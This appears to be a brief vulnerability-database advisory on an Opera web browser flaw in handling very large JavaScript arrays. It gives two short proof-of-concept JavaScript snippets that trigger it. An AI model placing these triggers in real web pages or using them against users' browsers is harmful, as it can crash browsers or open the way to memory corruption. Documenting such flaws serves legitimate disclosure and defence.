• info
• discussion
• exploit
• solution
• references

Opera Web Browser Large JavaScript Array Handling Vulnerability

The following examples were provided:
var a = new Array(99999999999999999999999);
a[0+5]="AAAAA";

and:
var bam = new Array(0x23000000);
bam.sort(new Function("return 1"));